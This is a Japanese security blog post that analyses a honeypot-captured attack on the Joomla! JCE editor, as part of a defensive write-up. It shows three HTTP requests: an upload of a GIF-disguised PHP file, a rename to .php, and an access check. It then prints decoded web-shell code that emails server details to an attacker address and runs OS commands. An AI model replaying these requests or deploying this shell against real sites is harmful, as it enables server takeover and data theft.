www.morihi-soc.net

誰もが安心して使える、安全なインターネットを目指して

ハニーポット観察記録(15)

DionaeaJoomla! のコンテンツエディタである JCE の脆弱性を狙った攻撃を検知しました.この攻撃が成功した場合,不正にファイルをアップロードされます.

先に検知したログと,攻撃の流れを紹介します.この攻撃は3つのアクセスよる,ジェットストリームアタックにより成り立ちます.

  • 1つ目のアタックログ
POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form&cid=20&
6bc427c8a7981f4fe1f5ac65c1246b5f=cf6dd3cf1923c950586d0dd595c8e20b HTTP/1.1
Host: www.***.***
User-Agent: BOT/0.1 (BOT for JCE)
Content-Type: multipart/form-data; boundary=—————————41184676334
Content-Length: 5000
—————————–41184676334
Content-Disposition: form-data; name=”upload-dir”
/
—————————–41184676334
Content-Disposition: form-data; name=”Filedata”; filename=””
Content-Type: application/octet-stream
—————————–41184676334
Content-Disposition: form-data; name=”upload-overwrite”
0
—————————–41184676334
Content-Disposition: form-data; name=”Filedata”; filename=”food.gif”
Content-Type: image/gif
GIF89aGlobex
<?php eval(gzinflate(str_rot13(base64_decode(\x27rUl6Qu7UXq【中略】7JXp5rLwL/Dw==\x27)))); ?>
—————————–41184676334
Content-Disposition: form-data; name=”upload-name”
food
—————————–41184676334
Content-Disposition: form-data; name=”action”
upload
—————————–41184676334–

index.php に対して,ごちゃごちゃとパラメータを指定して何かのデータを POST しています.
Content-Disposition よりfood.gifという名前で,Content-Type も GIFファイルと指定し,「GIF89a」から始まるデータをアップロードしようとしていますね.

 

バイナリアンの人にとっては「GIF89a」だけ見れば,「なんだ,GIF 画像か」と感じるかもしれません.
しかしその後に続くデータがなんだかおかしいです.<?php からの部分は完全に PHP のプログラムじゃないですかやだー.

また User-Agent が BOT for JCE と完全に怪しいですね.(BOT ってお前,直球すぎるだろ・・・)

 

  • 2つ目のアタックログ
POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20 HTTP/1.1
Host: www.***.***
User-Agent: BOT/0.1 (BOT for JCE)
Content-Type: application/x-www-form-urlencoded; charset=utf-8
X-Request: JSON
Content-Length: 58
json={“fn”:”folderRename“,”args”:[“/food.gif“,”food.php“]}

この攻撃のポイントです.先程は food.gif という名前でファイルのアップロードを試みました.今回は,ファイルを GIF ファイルから PHP ファイルに変更を試みています.

なお,ここも User-Agent は BOT for JCE ですね.

 

  • 3つ目のアタックログ
GET /images/stories/food.php?rf HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.***.***
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6

そして最後,攻撃の成否確認のために food.php の PHP ファイルにアクセスを試みています.

ご丁寧にこの確認だけは User-Agent を BOT ではなく,普通のブラウザのように偽装していますね.

※一部の情報を意図的に伏せています.

 

簡単にまとめます.

  • 1つ目のアクセス

Joomla! JCE「何者だ!」
エクスプロイトコード「GIF です」
Joomla! JCE「よし通れ!」

 

  • 2つ目のアクセス

エクスプロイトコード「もしもし,俺俺.さっきの GIF じゃなくて PHP だったわ.変更よろしく」
Joomla! JCE「おk」

 

  • 3つ目のアクセス

攻撃者「こんにちは!!!!1」

どこが脆弱だったのか?

  1. JCE が認証も無しにファイルのアップロードができる点
    • ただしアップロードできるのは画像ファイル(GIF や JPEG 等)に限られる
  2. JCE が認証も無しにアップロードされているファイルの拡張子の変更ができる点

 

脆弱なバージョンの JCE(Image Manager などのプラグインも含む)では,誰でもファイルのアップロードが可能です.ただし画像形式のファイルに限られます.誰でもファイルがアップロードできるだけで十分危険ですが,さらにファイルの拡張子を変更できるという点が危険度をアップさせています.画像ファイルだけでなく,結果的に PHP ファイルのような画像でないファイルをアップロード可能なためです.

 

さらに解析

今回,アップロードを試みられていたファイル(1つ目のアタックログの BASE64 でエンコードされた部分)を解読してみます.base64 でエンコードし,str_rot13 で暗号化し,gzdeflate の圧縮形式のようです.基本的には攻撃コードそのままですが,下記のような PHP コードで解読します.

※ もしご自身で試すときは,eval でそのまま実行しないようにしましょう.

解読 PHP コード

#!/usr/bin/php -q
<?php
$data = ‘rUl6Qu7UXq【中略】7JXp5rLwL/Dw==’;
echo gzinflate(str_rot13(base64_decode($data)));
?>

 

結果

error_reporting(0);
if (!isset($_SESSION[‘bajak’])) {
$visitcount = 0;
$web = $_SERVER[“HTTP_HOST”];
$inj = $_SERVER[“REQUEST_URI”];
$body = “ada yang inject \n$web$inj”;
$safem0de = @ini_get(‘safe_mode’);
if (!$safem0de) {$security= “SAFE_MODE = OFF”;}
else {$security= “SAFE_MODE = ON”;};
$serper=gethostbyname($_SERVER[‘SERVER_ADDR’]);
$injektor = gethostbyname($_SERVER[‘REMOTE_ADDR’]);
mail(“***@gmail.com”, “$body”,”Hasil Bajakan http://$web$inj\n$security\nIP Server = $serper\n IP Injector= $injektor”);
$_SESSION[‘bajak’] = 0;
}
else {$_SESSION[‘bajak’]++;};
if(isset($_GET[‘clone’])){
$source = $_SERVER[‘SCRIPT_FILENAME’];
$desti =$_SERVER[‘DOCUMENT_ROOT’].”/wp-includes/wp-simple.php”;
rename($source, $desti);
}
$safem0de = @ini_get(‘safe_mode’);
if (!$safem0de) {$security= “SAFE_MODE : OFF”;}
else {$security= “SAFE_MODE : ON”;}
echo “<title>UnKnown – Simple Shell</title><br>”;
echo “<font size=2 color=#888888><b>”.$security.”</b><br>”;
$cur_user=”(“.get_current_user().”)”;
echo “<font size=2 color=#888888><b>User : uid=”.getmyuid().$cur_user.” gid=”.getmygid().$cur_user.”</b><br>”;
echo “<font size=2 color=#888888><b>Uname : “.php_uname().”</b><br>”;
【後略】

結果をみると,まずセッション情報をチェックしていますね.bajak が無いときは特定のメールアドレス宛てに Web サーバの情報を送信しています.

もし clone というパラメータが指定されている場合はスクリプトを特定のファイルへ移動させるようです.

そしてメインの機能と思われる,Web シェルと続きます.検証サーバ上で,メール送信など,危険な部分は変更したファイルへアクセスしてみます.

Joomla-JCE-web-shell-sample

まず PHP で safe_mode の設定状態を表示しています.

次に food.php ファイルの作成ユーザとグループを表示しています.

3行目では OS の情報を表示しています.

 

Command の部分では OS コマンドが実行できるようです.cok が何語か不明ですが,実行ボタンの模様.

 

またファイルのアップロード機能があり,ファイルを選択→Upload でファイルがアップロードできました.ただし,Web サーバのアクセス権限でファイルを作成するため,ディレクトリの権限設定によっては,ファイルの作成に失敗することがあります.

コマンド実行やファイルのアップロードで無いアクセスの場合は,food.php が存在するディレクトリのファイル一覧が表示されます.


まとめ

さて長文となってしまいましたが,Joomla! の JCE の脆弱性を突き,ジェットストリームアタックで Web シェルをアップロードする攻撃を紹介しました.攻撃の影響を受ける,JCE のバージョンは 2.0.10以前とかなり古いバージョンです.使用している人はいないと思いますが,念のため JCE やその他のプラグインのバージョンを確認することをオススメします.

もし脆弱なバージョンだった場合は,アクセスログの確認と不審なファイルが作成されていないか確認しましょう.3つ目のアタックログで気付いた人がいるかもしれませんが,この攻撃によりファイルが作成される場所は「/images/stories/」です.真っ先にこのディレクトリを確認すべきです.ただ今回の攻撃のようにファイルのアップローダを設置されてしまった場合は,どこにファイルを作成されたか追跡することが困難です.クリーンインストール推奨です.

それでは良いお年を〜.

参考情報
JCE 2.0.11 released

Written by 森久

12月 29th, 2013 at 12:28 pm